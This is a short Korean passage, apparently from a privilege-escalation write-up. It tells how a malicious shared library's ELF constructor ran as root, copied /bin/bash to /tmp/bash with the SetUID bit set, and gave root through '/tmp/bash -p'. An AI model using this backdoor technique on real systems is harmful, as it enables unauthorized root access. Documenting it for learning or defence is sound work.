로드한 라이브러리의 ELF 생성자 함수가 실행되면서 root 계정의 권한으로 /bin/bash
를 /tmp/bash
로 복사하고 해당 파일에 SetUID를 부여하는 코드까지 실행되어 /tmp/bash -p
명령을 통해 권한 상승에 성공했다.